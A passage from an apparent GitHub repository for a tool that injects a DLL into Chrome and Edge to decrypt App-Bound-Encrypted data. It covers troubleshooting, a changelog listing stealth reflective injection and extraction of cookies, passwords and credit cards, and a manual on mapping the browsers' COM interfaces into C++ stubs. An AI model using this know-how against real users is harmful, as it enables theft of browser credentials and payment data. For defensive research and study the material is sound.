actual cryptographic decryption. 374 | 375 | #### Common Causes 376 | Many of these relate to the conditions required for DPAPI to successfully operate: 377 | 378 | * When you change your Windows logon password, Windows re-wraps your DPAPI master key under the new password. If the old key can’t be decrypted (e.g., because the system wasn't properly online to sync, or a cached credential issue), any older data blobs protected by it might fail to decrypt until a successful re-encryption cycle. 379 | * DPAPI keys are tied to a specific user profile on a specific machine. Attempting to decrypt data from a Chrome profile copied from another user account or another computer will fail. 380 | * If you run the injector as **Administrator** (or as the `SYSTEM` account) targeting a Chrome process running as a standard, non-elevated user, DPAPI will likely refuse the decryption. The security context for decryption must match that of the user who originally encrypted the data. The `IElevator` object itself has specific context requirements. 381 | * The user's DPAPI master keys are stored in `%APPDATA%\Microsoft\Protect\{SID}` (where `{SID}` is the user's Security Identifier). If this folder is missing, corrupted, or its permissions are incorrect, DPAPI cannot access the necessary keys. 382 | * The `IElevator` COM interface and its underlying RPC mechanisms are internal to Chrome. Google can modify their behavior, requirements, or even how they are registered with any Chrome update. This tool might be incompatible with the specific Chrome version you are targeting. 383 | * Antivirus, EDR (Endpoint Detection and Response), or other security software might be interfering with the COM/RPC communications, the DLL's ability to interact with `IElevator`, or its access to cryptographic functions and resources. 384 | 385 | #### Work-around / Notes 386 | * Ensure the injector is run from the *same interactive user account* that owns the Chrome profile and at the *same privilege level* as the target Chrome processes (usually non-elevated). 387 | * After a Windows password change, logging off and back on can help ensure DPAPI has correctly re-synchronized and re-encrypted necessary keys. 388 | * Ensure the Chrome profile folder (`%LOCALAPPDATA%\Google\Chrome\User Data\`) has not been moved, restored from a backup from another system/user, or had its DPAPI-related files tampered with. 389 | * The tool's success can be highly dependent on the Chrome version. Check if this tool version is known to work with your installed Chrome version. 390 | * To rule out interference, you might *temporarily* disable security software. Re-enable it immediately after testing. 391 | * Chrome has an internal recovery mechanism (`IElevator::RunRecoveryCRXElevated(...)`) that can re-wrap keys if DPAPI fails, but not implemented by this tool to avoid providing an easy bypass for malware. 392 | 393 | ## 🆕 Changelog 394 | 395 | ### v0.10 396 | - **Refactor**: Switched to **Reflective DLL Injection (RDI)** as the sole injection method, removing older `LoadLibrary` and `NtCreateThreadEx` options for enhanced stealth. (x64 RDI based on [Stephen Fewer's work](https://github.com/stephenfewer/ReflectiveDLLInjection), ARM64 RDI based on [xaitax/ARM64-ReflectiveDLLInjection](https://github.com/xaitax/ARM64-ReflectiveDLLInjection)). 397 | 398 | ### v0.9 399 | - **New**: Added `--output-path` (`-o`) argument to `chrome_inject.exe` for user-configurable output directory. Output files are now organized by BrowserName/ProfileName/data_type.txt. 400 | - **New**: Implemented support for automatically detecting and decrypting data from multiple browser profiles (e.g., Default, Profile 1, Profile 2). 401 | - **CI/CD**: Integrated GitHub Actions workflow for automated building of x64 and ARM64 binaries, and automatic release creation upon new version tags. 402 | - **Project Structure**: Reorganized the repository into src/, libs/, docs/, and tools/ directories for better maintainability. 403 | 404 | ### v0.8 405 | 406 | - **New**: **Reliable Microsoft Edge Decryption:** Implemented support for Edge's native App-Bound Encryption COM interface (`IElevatorEdge`), resolving previous inconsistencies and removing dependency on Brave Browser being installed. This involved detailed COM interface analysis and tailored C++ stubs for Edge's specific vtable layout. 407 | 408 | ### v0.7 409 | 410 | - **New**: Implemented Kernel Named Events for flawless timing between Injector and DLL operations. 411 | - **Improved**: Major refactoring of both Injector and DLL for enhanced stability, performance, and maintainability. 412 | - **Improved**: Strict RAII implemented for all system resources (Handles, COM, SQLite) to prevent leaks. 413 | - **Improved**: More accurate and immediate error code capture and reporting. 414 | - **Improved**: Adaptive Locking Bypass / Enhanced Locked File Access (SQLite nolock=1 for Login Data/Payment Methods) 415 | - **Improved**: Dynamic Path Resolution / Dynamic Path Discovery (modern Windows APIs) 416 | - **Improved**: Optimized DLL's browser termination logic. 417 | 418 | ### v0.6 419 | 420 | - **New**: Full Username & Password extraction 421 | - **New**: Full Payment Information (e.g., Credit Card) extraction 422 | 423 | ### v0.5 424 | 425 | - **New**: Full Cookie extraction into JSON format 426 | 427 | ### v0.4 428 | 429 | - **New**: selectable injection methods (`--method load|nt`) 430 | - **New**: auto‑start the browser if not running (`--start-browser`) 431 | - **New**: verbose debug output (`--verbose`) 432 | - **New**: automatically terminate the browser after decryption 433 | - **Improved**: Injector code refactoring 434 | 435 | Further Links: 436 | 437 | - [Google Security Blog](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html) 438 | - [Chrome app-bound encryption Service](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view) 439 | - [snovvcrash](https://x.com/snovvcrash) 440 | - [SilentDev33](https://github.com/SilentDev33/ChromeAppBound-key-injection) 441 | 442 | ## 📜 License 443 | 444 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. 445 | 446 | ## Disclaimer 447 | 448 | > [!WARNING] 449 | > This tool is intended for cybersecurity research and educational purposes. Ensure compliance with all relevant legal and ethical guidelines when using this tool. 450 | -------------------------------------------------------------------------------- /docs/COMrade_ABE_Field_Manual.md: -------------------------------------------------------------------------------- 1 | ## COMrade ABE: Your Field Manual for App-Bound Encryption's COM Underbelly 2 | 3 | So, you've stared into the abyss of Chromium's App-Bound Encryption (ABE). You know the drill: Google (and now others in the Chromium family) decided that just letting any old process poke at DPAPI-protected goodies wasn't cutting it anymore. Fair enough. They introduced a COM-based gatekeeper, usually an `elevation_service.exe`, that's supposed to ensure only the *real* browser gets to decrypt the master `app_bound_key`. My own `Chrome-App-Bound-Encryption-Decryption` tool showed we can often talk our way past the bouncer with a well-placed DLL. Good times. 4 | 5 | But then reality bites. Chrome updates. Edge does its own thing (as chronicled in my [Cantankerous COM](https://medium.com/@xaitax/the-curious-case-of-the-cantankerous-com-decrypting-microsoft-edges-app-bound-encryption-266cc52bc417) saga). Brave has its flavor. New browsers might join the ABE party. Suddenly, your carefully crafted CLSIDs, IIDs, and C++ interface stubs become relics of a bygone era. Back to registry spelunking? Not if I can help it. 6 | 7 | That's where **COMrade ABE** comes in. Forget manual recon; this script is your automated advance scout, designed to map out the ABE COM landscape for any given Chromium-based browser. It's born out of the sheer necessity of not wanting to reinvent the wheel (or re-reverse engineer it) every few months. This isn't just about *what* COMrade ABE spits out, but *why* those arcane GUIDs and VTable offsets are the difference between triumphantly extracting data and staring at an `E_INVALIDARG` HRESULT with a rising sense of dread. 8 | 9 | * **You can grab COMrade ABE in the project's GitHub repository:** 10 | [**Chrome-App-Bound-Encryption-Decryption (featuring COMrade ABE)**](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/blob/main/comrade_abe.py). 11 | 12 | ### The Name of the Game: CLSIDs, IIDs, and the VTable Shuffle 13 | 14 | To make sense of COMrade ABE's intel, let's quickly recap the COM essentials we're wrestling with: 15 | 16 | 1. **CLSID (Class Identifier):** This is the unique "phone number" for the COM server itself – the ABE elevation service. Your first call, `CoCreateInstance`, needs this GUID to even get the server on the line. If the browser vendor changes this, you're dialing a dead number. 17 | 18 | 2. **IID (Interface Identifier):** Once COM has rustled up an instance of the server object, you need to tell it *which specific set of services* you want to use. That's the interface, identified by its IID. For ABE, we're hunting for the interface that offers up `DecryptData` (and its sibling, `EncryptData`). A single COM object can expose multiple interfaces, each with its own IID. Picking the wrong one means you get a polite "sorry, wrong department" (`E_NOINTERFACE`) or, worse, an interface that looks similar but has a different method layout. 19 | 20 | 3. **VTable (Virtual Method Table):** This is where the C++ rubber meets the COM road. An interface pointer in C++ is, under the hood, a pointer to an array of function pointers – the VTable. The first three are *always* `QueryInterface`, `AddRef`, and `Release` from `IUnknown`. After that, it's the methods of the interface itself, in a specific, compiler-defined order. If your C++ code expects `DecryptData` at VTable slot 5, but due to some quirky inheritance shenanigans it's actually at slot 8 (looking at you, Edge!), you're in for a world of pain (`E_INVALIDARG` is a common symptom). 21 | 22 | COMrade ABE's mission is to dynamically figure out these crucial pieces for you. 23 | 24 | ### COMrade ABE: Mission Debrief – Decoding the Output 25 | 26 | When you start COMrade ABE (e.g., `python comrade_abe.py chrome --scan`), it goes to work. Here’s how to interpret the report it files: 27 | 28 | **The Standard Output – The Executive Summary:** 29 | 30 | ```text 31 | --- 💡 Analysis Summary --- 32 | Browser Target : Chrome 33 | Service Executable: C:\Program Files\Google\Chrome\Application\136.0.7103.114\elevation_service.exe 34 | Discovered CLSID : {708860E0-F641-4611-8895-7D867DD3675B} 35 | (C++ Style) : {0x708860E0,0xF641,0x4611,{0x88,0x95,0x7D,0x86,0x7D,0xD3,0x67,0x5B}} 36 | 37 | Found 6 ABE-Capable Interface(s): 38 | 39 | Candidate 1: 40 | Interface Name: IElevator 41 | IID : {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C} 42 | (C++ Style) : {0xA949CB4E,0xC4F9,0x44C4,{0xB2,0x13,0x6B,0xF8,0xAA,0x9A,0xC6,0x9C}} 43 | 44 | Candidate 2: 💡 (Likely primary for tool) 45 | Interface Name: IElevatorChrome 46 | IID : {463ABECF-410D-407F-8AF5-0DF35A005CC8} 47 | (C++ Style) : {0x463ABECF,0x410D,0x407F,{0x8A,0xF5,0x0D,0xF3,0x5A,0x00,0x5C,0xC8}} 48 | ... etc. ... 49 | ``` 50 | 51 | * **`Browser Target` & `Service Executable`**: Self-explanatory. Verifies COMrade ABE looked at the right binary. 52 | * **`Discovered CLSID`**: This is your entry point. The script hunts through the registry for CLSIDs tied to the browser's known elevation service name (like `GoogleChromeElevationService`). 53 | * The string format (`{7088...}`) is for reference. 54 | * The `(C++ Style)` (`{0x708860E0,...}`) is pure gold – ready to be slapped into a C++ `GUID` struct definition. This is the `clsid` parameter for `CoCreateInstance`. 55 | * **`Found X ABE-Capable Interface(s)`**: ABE services can be surprisingly chatty, offering the same core functionality through multiple interface "personalities." COMrade ABE lists every interface found in the Type Library that passes its signature checks for `DecryptData` and `EncryptData`. 56 | * **`Interface Name`**: The human-readable name from the Type Library (e.g., `IElevator`, `IElevatorChrome`, `IEdgeElevatorFinal`). Gives you a hint about its intended purpose or variant. 57 | * **`IID`**: The Interface ID for *this specific candidate*. This is the `riid` you'd pass to `CoCreateInstance` or `QueryInterface`. Again, both string and C++ struct formats are provided. 58 | * **`💡 (Likely primary for tool)`**: My little heuristic. It tries to flag the IID that's most likely the "main" one your C++ tool should target, often by matching against known IIDs for specific browser channels (like the `IElevatorChrome` one for Chrome Stable). This is usually the most derived interface in a chain that provides the target methods. 59 | 60 | **Why so many IIDs?** Often, a base interface (e.g., `IElevator`) defines the core methods, and then browser-specific or channel-specific interfaces (`IElevatorChrome`, `IElevatorEdge`) inherit from it, sometimes adding nothing new but acting as distinct "access points." COMrade ABE shows them all because, technically, any of them *might* work if they correctly expose the ABE methods. 61 | 62 | **The `-v` Verbose Output – The Full Schematics** 63 | 64 | Alright, the standard summary from COMrade ABE gives you the essentials: CLSID, a list of potential IIDs. That's often enough to get you started. But when things get weird – when your C++ calls inexplicably fail with `E_INVALIDARG`, when a new browser version suddenly breaks your working code, or when you're just plain curious about how a vendor like Microsoft decided to layer their `IElevator` – that's when you unleash the Kraken: the `-v` (verbose) flag. 65 | 66 | The verbose output is COMrade ABE laying bare the entire internal structure of each ABE-capable interface it finds, along with its complete ancestry. Let's dissect a verbose entry, using Chrome's `IElevatorChrome` as our specimen, because it nicely illustrates how inheritance plays out: 67 | 68 | ```text 69 | --- ℹ️ Verbose Candidate Details --- 70 | --- Verbose for Candidate 3: 'IElevatorChrome' (IID: {463ABECF-410D-407F-8AF5-0DF35A005CC8}) 💡 (Likely primary for tool) --- 71 | Methods (relevant to ABE): 72 | - Method 'EncryptData': VTable Offset: 32 (Slot ~4), Defined in: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 73 | - Method 'DecryptData': VTable Offset: 40 (Slot ~5), Defined in: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) 74 | Inheritance Chain: IUnknown -> IElevator -> IElevatorChrome 75 | Interface in chain: 'IUnknown' (IID: {00000000-0000-0000-C000-000000000046}) - Defines 3 method(s): 76 | (Standard IUnknown methods) 77 | - HRESULT QueryInterface(GUID* riid, void** ppvObj) (oVft: 0) 78 | - ULONG AddRef(void) (oVft: 8) 79 | - ULONG Release(void) (oVft: 16) 80 | Interface in chain: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) - Defines 3 method(s): 81 | (cFuncs: 3 from verbose log) 82 | - HRESULT RunRecoveryCRXElevated(LPWSTR crx_path, LPWSTR browser_appid, LPWSTR browser_version, LPWSTR session_id, ULONG caller_proc_id, ULONG_PTR* proc_handle) (oVft: 24) 83 | - HRESULT EncryptData(ProtectionLevel protection_level, BSTR plaintext, BSTR* ciphertext, ULONG* last_error) (oVft: 32) 84 | - HRESULT DecryptData(BSTR ciphertext, BSTR* plaintext, ULONG* last_error) (oVft: 40) 85 | Interface in chain: 'IElevatorChrome' (IID: {463ABECF-410D-407F-8AF5-0DF35A005CC8}) - Defines 0 method(s): 86 | (cFuncs: 0 from verbose log) 87 | (No methods directly defined in this block for 'IElevatorChrome') 88 | --- End of Verbose Details --- 89 | ``` 90 | 91 | Let's break this down piece by piece: 92 | 93 | **1. The Candidate Header:** 94 | `--- Verbose for Candidate X: 'InterfaceName' (IID: {GUID-HERE}) 💡 (Likely primary for tool) ---` 95 | This just identifies which of the ABE-capable interfaces (from the summary list) these detailed verbose notes pertain to. The `💡` flag is the same heuristic as in the summary. 96 | 97 | **2. `Methods (relevant to ABE):`** 98 | This is a quick-glance summary for *this candidate interface* (e.g., `IElevatorChrome`) showing where the core ABE methods you care about (`EncryptData`, `DecryptData`) actually come from. 99 | 100 | * **`Method 'EncryptData': VTable Offset: 32 (Slot ~4), Defined in: 'IElevator' (IID: {A949...})`** 101 | * **`VTable Offset: 32`**: This is the `FUNCDESC.oVft` (offset in vtable) value *from the perspective of the defining interface*. So, `EncryptData` is 32 bytes from the start of `IElevator`'s vtable section. 102 | * **`Slot ~4`**: This is a calculated convenience: `oVft / sizeof(void*)`. On a 64-bit system where pointers are 8 bytes, `32 / 8 = 4`. This means it's the method at index 4 (the 5th method pointer overall) within the `IElevator` vtable structure. 103 | * **`Defined in: 'IElevator' (IID: {A949...})`**: This is crucial. It tells you that if you have an `IElevatorChrome` pointer, the `EncryptData` method it exposes is actually inherited from its base class, `IElevator`. Your C++ stub for `IElevatorChrome` *must* correctly inherit from an `IElevator` stub that defines `EncryptData` at its 4th slot (after its own `IUnknown` methods, or after any methods from *its* base). 104 | * **Why this matters so much**: If `IElevatorChrome` didn't inherit from `IElevator` but redefined `EncryptData` itself at a different `oVft` (say, as its *first* new method), the VTable slot would be different. Or, if an intermediate, unexpected base class was injected between `IElevator` and `IElevatorChrome` (like `IElevatorEdgeBase` in Edge's case), that would *also* shift the final VTable slot for `EncryptData` when accessed via an `IElevatorChrome` pointer. This "Defined in" tells you where to look for the original definition and its `oVft`. 105 | 106 | **3. `Inheritance Chain: IUnknown -> IElevator -> IElevatorChrome`** 107 | This is the COM family tree, from the universal ancestor `IUnknown` down to the specific candidate interface. 108 | * **Importance**: This chain *is* the blueprint for the VTable layout. In C++, when `IElevatorChrome` inherits `IElevator`, which inherits `IUnknown`, the VTable layout for an `IElevatorChrome` object will be: 109 | 1. `IUnknown::QueryInterface` 110 | 2. `IUnknown::AddRef` 111 | 3. `IUnknown::Release` 112 | 4. `IElevator::RunRecoveryCRXElevated` (first *new* method in `IElevator`) 113 | 5. `IElevator::EncryptData` (second *new* method in `IElevator`) 114 | 6. `IElevator::DecryptData` (third *new* method in `IElevator`) 115 | 7. Any *new* methods defined directly by `IElevatorChrome` itself (in this case, zero). 116 | Knowing this exact order is non-negotiable for writing C++ stubs that will call the correct functions. COMrade ABE derives this chain by repeatedly calling `ITypeInfo::GetRefTypeOfImplType(0)` until it hits `IUnknown` or an interface with no further base. 117 | 118 | **4. `Interface in chain: '...' - Defines X method(s):`** 119 | This is the most granular part. For *each* interface in the chain shown above, COMrade ABE lists the methods that are *directly defined within that specific interface's declaration* (as per `TYPEATTR.cFuncs`). 120 | 121 | * **`Interface in chain: 'IUnknown' (IID: {...}) - Defines 3 method(s):`** 122 | * `(Standard IUnknown methods)` - a note that these are the universal three. 123 | * `- HRESULT QueryInterface(GUID* riid, void** ppvObj) (oVft: 0)` 124 | * `- ULONG AddRef(void) (oVft: 8)` 125 | * `- ULONG Release(void) (oVft: 16)` 126 | * **`oVft: 0, 8, 16`**: These are the standard, unchanging VTable offsets for `IUnknown` methods *relative to the start of any COM interface pointer*. `QueryInterface` is always the first. 127 | * **Signatures**: COMrade ABE shows the full C-style signature. This is to ensure your C++ stubs declare the methods correctly. Mismatched parameter types or return types are a common source of crashes. 128 | 129 | * **`Interface in chain: 'IElevator' (IID: {A949...}) - Defines 3 method(s):`** 130 | * `(cFuncs: 3 from verbose log)`: This internal debug note from my Python script indicates the `TYPEATTR.cFuncs` value for `IElevator` is 3. This means `IElevator` *itself* introduces three new methods beyond what it inherits. 131 | * `- HRESULT RunRecoveryCRXElevated(...) (oVft: 24)` 132 | * `- HRESULT EncryptData(...) (oVft: 32)` 133 | * `- HRESULT DecryptData(...) (oVft: 40)` 134 | * **`oVft` values (24, 32, 40)**: These offsets are *relative to the start of the `IElevator` interface pointer*. Since `IElevator` inherits `IUnknown` (whose methods occupy offsets 0, 8, 16), its *own* new methods start after that. So, `RunRecoveryCRXElevated` is at offset `0 + 3*8 = 24`. `EncryptData` is at `24 + 8 = 32`, and `DecryptData` at `32 + 8 = 40`. 135 | * **Signatures**: Again, the full C-style signatures. Note the `ProtectionLevel` enum for `EncryptData`. If COMrade ABE finds this UDT in the Type Library, it will attempt to generate a `typedef enum ProtectionLevel { ... };` for your C++ stubs. 136 | 137 | * **`Interface in chain: 'IElevatorChrome' (IID: {463A...}) - Defines 0 method(s):`** 138 | * `(cFuncs: 0 from verbose log)`: `IElevatorChrome` itself declares no *new* methods. It purely inherits its functionality. 139 | * `(No methods directly defined in this block for 'IElevatorChrome')` 140 | * **Importance**: This tells you that `IElevatorChrome` is essentially an alias or a specific "brand" of `IElevator`. Its VTable will be identical to `IElevator`'s up to the end of `IElevator`'s methods. 141 | 142 | **The Edge Case (Pun Intended): How This Decodes Complexity** 143 | 144 | Remember the "Cantankerous COM" with Edge? Its chain looked something like: 145 | `IUnknown -> IElevatorEdgeBase -> IElevator -> IElevatorEdge` 146 | 147 | COMrade ABE's verbose output would show: 148 | * `IElevatorEdgeBase` defining 3 (unknown to us, but COM-wise present) methods. These would occupy `oVft: 24, 32, 40`. 149 | * `IElevator` (inheriting `IElevatorEdgeBase`) would then define its 3 ABE methods. Its *first* method, `RunRecoveryCRXElevated`, would now have an `oVft` of `40 + 8 = 48` (slot 6), not 24! `DecryptData` would be at `oVft: 64` (slot 8). 150 | * `IElevatorEdge` would define 0 new methods. 151 | 152 | Without this verbose breakdown, trying to call `DecryptData` on an `IElevatorEdge` pointer using a C++ stub that assumed it was at slot 5 (like `IOriginalBaseElevator`) would hit the wrong function in `IElevatorEdgeBase`'s VTable section, leading to `E_INVALIDARG`. The verbose output makes this VTable shifting explicitly clear. 153 | 154 | **Practical Applications of Verbose Intel:** 155 | 156 | 1. **Debugging Failed COM Calls:** If your `DecryptData` call is failing, the verbose output is your first stop. 157 | * Is the IID you're using actually listed as ABE-capable? 158 | * Does the inheritance chain in your C++ stub match what COMrade ABE reports? 159 | * Do the `oVft` values and method signatures for `DecryptData` in its *defining interface* match your expectations or previous findings? A change here is a red flag. 160 | 161 | 2. **Crafting Precise C++ Stubs (When `--output-cpp-stub` Isn't Enough or for Understanding):** 162 | While the auto-generated stubs are great, understanding *why* they're structured that way comes from this verbose output. You can see exactly which interface defines which method and how the VTable slots add up. 163 | 164 | 3. **Advanced COM Hijacking/Interception Research (Offensive Security):** 165 | Knowing the exact VTable layout and method signatures is fundamental for more advanced techniques like VTable hooking if you were trying to intercept calls to these ABE methods from within the browser process. 166 | 167 | 4. **Identifying Undocumented Functionality:** 168 | The verbose output lists *all* methods defined by interfaces in the ABE service's Type Library, not just `EncryptData`/`DecryptData`. You might stumble upon other intriguing methods. What does `IElevator::RunRecoveryCRXElevated` actually do? What are its `crx_path` or `session_id` parameters used for? Could it be leveraged for something unexpected? COMrade ABE gives you the starting point – the method name and its signature. 169 | 170 | In essence, COMrade ABE's verbose mode hands you the decompiler's view of the COM interface structure, neatly organized and interpreted. It turns opaque GUIDs and binary layouts into a human-readable (well, geek-readable) specification. It's the difference between fumbling in the dark and having a detailed schematic when you're trying to hotwire a complex system like App-Bound Encryption. 171 | 172 | Okay, let's give the `--output-cpp-stub` section the detailed treatment it deserves, focusing on *why* it's such a game-changer and *what exactly* it provides, keeping that more direct, engineer-to-engineer tone. 173 | 174 | --- 175 | 176 | *(Continuing from the previous article structure)* 177 | 178 | **The Real Power: `--output-cpp-stub` – Your Auto-Generated C++ Blueprints** 179 | 180 | Alright, so COMrade ABE has dutifully scanned the Type Library, identified the likely CLSID your browser's ABE service responds to, and listed out all the `IElevator`-esque interfaces that smell like they can do the `DecryptData` dance. That's great intel. But now you actually have to *talk* to these things from C++. 181 | 182 | This is where you'd normally roll up your sleeves, fire up `OleView.NET` or a disassembler if you're truly desperate, and start the painstaking process of transcribing interface definitions into C++ `MIDL_INTERFACE` blocks. You'd be meticulously copying GUIDs, ensuring inheritance lines up, and getting every `STDMETHODCALLTYPE` and parameter type *exactly* right. One typo – a `ULONG*` where it should be `ULONG`, a misplaced comma in a GUID – and you're rewarded with cryptic compiler errors or, worse, runtime crashes that send you back to square one. 183 | 184 | This is precisely the headache the `--output-cpp-stub FILE_PATH` option is designed to eliminate. A massive accelerator and an error-reduction mechanism. 185 | 186 | When you use this flag, COMrade ABE takes the "Likely primary for tool" candidate (or the first viable one if that heuristic doesn't pinpoint a specific known IID for your target browser) and does the heavy lifting of translating its entire discovered structure into C++ code. Here's what you get in that output file: 187 | 188 | 1. **Header Information:** 189 | The file starts with comments clearly indicating which browser and service executable the stubs were generated for, along with the target CLSID and the primary IID chosen for stub generation. This is your immediate sanity check: 190 | 191 | ```cpp 192 | // --- COM Stubs for Browser: Chrome --- 193 | // Generated by COMrade ABE 194 | // Service Executable: C:\Program Files\Google\Chrome\Application\136.0.7103.114\elevation_service.exe 195 | // Target CLSID for CoCreateInstance: {0x708860E0,0xF641,0x4611,{0x88,0x95,0x7D,0x86,0x7D,0xD3,0x67,0x5B}} // Original: {708860E0-F641-4611-8895-7D867DD3675B} 196 | // Target IID for CoCreateInstance: {0x463ABECF,0x410D,0x407F,{0x8A,0xF5,0x0D,0xF3,0x5A,0x00,0x5C,0xC8}} // Original: {463ABECF-410D-407F-8AF5-0DF35A005CC8} (Primary Interface: IElevatorChrome) 197 | ``` 198 | Notice it provides both the C++ struct style and the original string GUID for quick reference. 199 | 200 | 2. **User-Defined Type (Enum) Definitions:** 201 | If the interface methods use custom enumerations (like `ProtectionLevel` for `EncryptData`), COMrade ABE attempts to find their definitions in the Type Library (`TKIND_ENUM`) and generate the corresponding C++ `typedef enum`: 202 | 203 | ```cpp 204 | // Enum: ProtectionLevel 205 | typedef enum ProtectionLevel { 206 | None = 0, 207 | PathValidationOld = 1, 208 | PathValidation = 2, 209 | Max = 3, 210 | } ProtectionLevel; 211 | ``` 212 | Getting these enum values right is important, as passing an incorrect integer to `EncryptData` could lead to unexpected behavior or failed encryption. 213 | 214 | 3. **Full Inheritance Chain as `MIDL_INTERFACE` Blocks:** 215 | This is the core of the generated stubs. COMrade ABE takes the *entire* inheritance chain for the chosen primary interface (e.g., `IUnknown` -> `IElevatorEdgeBase` -> `IElevator` -> `IEdgeElevatorFinal` for Edge) and defines each one in order, from the most base to the most derived. 216 | 217 | * **Correct GUIDs:** Each `MIDL_INTERFACE("GUID_STRING_HERE")` uses the exact IID discovered for that interface in the chain. The C++ style GUID is also helpfully commented. 218 | * **Correct Inheritance:** Each interface correctly specifies its direct base class: `InterfaceName : public BaseInterfaceName`. This is non-negotiable for the C++ compiler to generate a VTable layout that matches the COM object's actual binary layout. 219 | * **Method Declarations:** For every method *directly defined* by an interface in the chain (i.e., not inherited by *it* from *its* base, but new at that level), COMrade ABE generates the pure virtual function declaration: 220 | `virtual HRESULT STDMETHODCALLTYPE MethodName(PARAM_TYPE param1, PARAM_TYPE2 param2, ...) = 0;` 221 | 222 | * **Return Type and Calling Convention:** `HRESULT STDMETHODCALLTYPE` is standard. 223 | * **Method Name:** Pulled directly from the Type Library. 224 | * **Parameters:** The real magic is here. COMrade ABE meticulously translates the `VARTYPE` and parameter flags from the Type Library's `FUNCDESC` and `ELEMDESC` structures into their C++ equivalents: 225 | * `VT_BSTR` with `PARAMFLAG_FIN` becomes `BSTR plaintext`. 226 | * `VT_BSTR | VT_BYREF` with `PARAMFLAG_FOUT` becomes `BSTR* ciphertext`. 227 | * `VT_UI4 | VT_BYREF` with `PARAMFLAG_FOUT` becomes `ULONG* last_error`. 228 | * `VT_LPWSTR` becomes `LPWSTR`. 229 | * Pointers to user-defined types are also handled. 230 | * The parameter names are also extracted if available in the Type Library. 231 | 232 | Here's an example snippet for Edge's more complex chain, as generated by COMrade ABE: 233 | 234 | ```cpp 235 | // Stubs for Edge would look something like this: 236 | 237 | // Enum: ProtectionLevel (defined as above) ... 238 | 239 | MIDL_INTERFACE("00000000-0000-0000-C000-000000000046") // C++ style: {0x00000000,0x0000,0x0000,{0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46}} 240 | IUnknown : public IUnknown // Base IUnknown methods are implicit 241 | { 242 | public: 243 | // Standard IUnknown methods are typically not explicitly re-declared in MIDL_INTERFACE 244 | // but are understood by the MIDL compiler and C++ when inheriting from IUnknown. 245 | // For clarity, one might add them, but COMrade ABE follows common practice of letting 246 | // the base IUnknown handle this. If the type library explicitly lists them for some reason, 247 | // COMrade ABE will list them. Let's assume it lists them for this example for illustration: 248 | virtual HRESULT STDMETHODCALLTYPE QueryInterface( 249 | REFIID riid, 250 | void** ppvObject) = 0; 251 | virtual ULONG STDMETHODCALLTYPE AddRef(void) = 0; 252 | virtual ULONG STDMETHODCALLTYPE Release(void) = 0; 253 | }; 254 | 255 | MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6") // C++ style: {0xE12B779C,0xCDB8,0x4F19,{0x95,0xA0,0x9C,0xA1,0x9B,0x31,0xA8,0xF6}} 256 | IEdgeElevatorBase_Placeholder : public IUnknown 257 | { 258 | public: 259 | virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0; // Placeholder names if real names absent 260 | virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0; 261 | virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0; 262 | }; 263 | 264 | MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") // C++ style: {0xA949CB4E,0xC4F9,0x44C4,{0xB2,0x13,0x6B,0xF8,0xAA,0x9A,0xC6,0x9C}} 265 | IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder // Note: Edge's IElevator inherits from its Base 266 | { 267 | public: 268 | virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated( 269 | LPWSTR crx_path, 270 | LPWSTR browser_appid, 271 | LPWSTR browser_version, 272 | LPWSTR session_id, 273 | ULONG caller_proc_id, 274 | ULONG_PTR* proc_handle 275 | ) = 0; 276 | virtual HRESULT STDMETHODCALLTYPE EncryptData( 277 | ProtectionLevel protection_level, 278 | BSTR plaintext, 279 | BSTR* ciphertext, 280 | ULONG* last_error 281 | ) = 0; 282 | virtual HRESULT STDMETHODCALLTYPE DecryptData( 283 | BSTR ciphertext, 284 | BSTR* plaintext, 285 | ULONG* last_error 286 | ) = 0; 287 | }; 288 | 289 | MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B") // C++ style: {0xC9C2B807,0x7731,0x4F34,{0x81,0xB7,0x44,0xFF,0x77,0x79,0x52,0x2B}} 290 | IEdgeElevatorFinal : public IEdgeIntermediateElevator // This is the IID you'd request for Edge 291 | { 292 | public: 293 | // This interface directly defines 0 methods; all are inherited. 294 | }; 295 | ``` 296 | 297 | **The Payoff:** 298 | 299 | * Manual transcription of GUIDs and complex C++ method signatures is a minefield. COMrade ABE does it programmatically from the Type Library, the "source of truth" for the COM server's binary interface. 300 | * If Edge version X.Y.Z changes its `IEdgeElevatorFinal` to inherit from a new `IEdgeElevatorBase_V2`, running COMrade ABE with `--output-cpp-stub` immediately gives you the updated C++ definitions reflecting this new reality. No painful debugging of `E_NOINTERFACE` or VTable call crashes because your C++ stubs are suddenly out of sync. 301 | * You can spend your time writing the actual logic to *use* these interfaces (like in `chrome_decrypt.cpp` to call `DecryptData`) rather than wrestling with getting the declarations right. 302 | * The generated stub file itself becomes excellent documentation of the exact binary interface you're targeting for a specific version of a browser service. 303 | 304 | This is an *enormous* timesaver and error-reducer. Manually transcribing these from `OleView.NET` or a disassembler is tedious and prone to typos that lead to subtle runtime bugs. 305 | 306 | ### Why COMrade ABE Belongs in Your ABE Toolkit 307 | 308 | 1. **Future-Proofing (Mostly):** Browsers evolve. CLSIDs might change, IIDs might get versioned, or (as with Edge) inheritance structures might get funky. COMrade ABE gives you a fighting chance to quickly re-analyze and adapt your tools or research without days of RE. 309 | 2. **New Browser Recon:** A new Chromium fork appears with ABE? Point COMrade ABE at its `elevation_service.exe` (if you can find it). It'll give you the lay of the COM land. 310 | 3. **Taming Vendor Quirks:** The Edge example is paramount. COMrade ABE's chain analysis is what reveals those vendor-specific intermediate base classes that shift VTable layouts. Without this, you're shooting in the dark. 311 | 4. **Beyond `DecryptData`:** The verbose output 